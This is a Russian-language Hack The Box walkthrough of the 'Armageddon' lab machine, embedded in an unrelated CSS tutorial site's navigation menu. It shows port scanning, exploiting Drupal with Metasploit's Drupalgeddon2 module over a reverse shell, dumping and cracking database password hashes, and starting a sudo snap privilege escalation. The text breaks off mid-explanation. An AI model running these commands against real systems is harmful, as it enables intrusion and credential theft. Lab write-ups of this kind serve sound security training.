Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.233, не забываем добавить его в /
и присвоим имя armageddon.
.
И сразу же сканируем порты. Привожу свой традиционный скрипт, основанный на Nmap:
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скриптаПо результатам сканирования имеем два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache).
Нашли веб‑сервер — сразу же идем смотреть, что за сайт на нем развернут.
Нас встречает Drupal — одна из популярнейших систем управления контентом (CMS). В ней наверняка найдутся известные уязвимости.
Для Drupal также есть специальное средство сканирования, которое поможет найти уязвимости, — droopescan. Установим программу и выполним сканирование в 32 потока.
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -rrequirements.txt
python3 droopescan scan drupal -uhttp://armageddon.htb -t 32
Результат работы скриптаDroopescan нашел установленные плагины, темы и вероятную версию CMS. Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты. Надежнее всего искать при помощи Google, а также на специализированных сайтах — HackerOne, Exploit-DB и GitHub.
Но если ты пользуешься Kali, то Exploit-DB у тебя уже есть и в данном случае достаточно запустить утилиту searchsploit, чтобы найти сразу несколько эксплоитов.
searchsploit Drupal
Эксплоиты, найденные searchsploitВидим, что хост содержит известную уязвимость Drupalgeddon 2, что даст нам удаленное выполнение кода (RCE). Пометка Metasploit означает, что эксплоит уже реализован для Metasploit Framework, и, так как это удобнее, будем использовать его.
Подробный анализ принципов работы уязвимости читай в статье «Друпалгеддон-2. Подробно разбираем новую уязвимость в Drupal».
Когда необходимый модуль найден, стоит глянуть, какие ему нужно задавать параметры (команда show
).
Таким образом, следует указать целевой хост для атаки, а также адрес локального хоста и порт для обратного подключения.
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS armageddon.htb
set LHOST 10.10.14.86
set LPORT 80
run
Выполнение эксплоита Drupalgeddon2И мы получаем оболочку, где можем выполнять команды на удаленном хосте. Правда, пока только в контексте учетной записи пользователя‑службы.
Так как на хосте развернут веб‑сервер, а на нем работает даже целая CMS, то первое наше действие — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей в системе. В случае с Drupal есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных default/
.
Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей. Сперва командой shell
получим командную оболочку на удаленной машине, после чего выполним подключение к базе данных MySQL с полученными учетными данными.
mysql -udrupaluser -hlocalhost -p
В случае с Drupal нас интересуют данные из таблицы users
базы drupal
.
use drupal;
select name,pass from users;
show;
Данные из таблицы users базы drupalНаходим хеш пароля пользователя brucetherealadmin
. А как мы узнаем из файла /
, данный пользователь является системным.
Давай переберем этот пароль с помощью hashcat. Сначала узнаем, какой режим использовать, а потом передадим его номер через параметр -m
.
hashcat -m7900 -a0 hash.txt ../tools/rockyou.txt
Определение типа хешаРезультат перебора хешаМы успешно перебираем полученный хеш и узнаем пароль пользователя. И после подключения по SSH забираем первый флаг.
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и, чтобы не перебирать их вручную, я обычно использую скрипты PEASS. Они автоматически проходят систему в поисках зацепок для повышения привилегий. Загрузим на локальный хост скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. Для этого можно использовать стандартные средства SSH. После загрузки необходимо дать право на выполнение и выполнить скрипт.
scp ../tools/linpeas.sh brucetherealadmin@armageddon.htb:/tmp/
chmod+x /tmp/linpeas.sh
/tmp/linpeas.sh
Результат работы скриптаВидим, что мы можем зацепиться за настройки sudoers (sudo
). Пользователь brucetherealadmin
без ввода пароля может выполнить следующую команду в привилегированном контексте:
/usr/bin/snap install *
Snap — это система управления и распределения пакетов, созданная в Canonical (разработчик Ubuntu). Сами пакеты Snap представляют собой заранее скомпилированные вместе со всеми зависимостями и библиотеками приложения, которые затем исполняются в изолированной среде. Они легче и быстрее устанавливаются, могут получать последние обновления, а также более безопасны с точки зрения доступа к операционной системе и важным файлам.
Но все же приложения могут получать доступ к хосту при работе в режиме devmode. Snap использует Linux-сокет AF_UNIX
, который необходим для связи между процессами на одном компьютере. Для него установлены права 0666, что позволяет любому процессу подключаться и взаимодействовать с этим сокетом.
|
|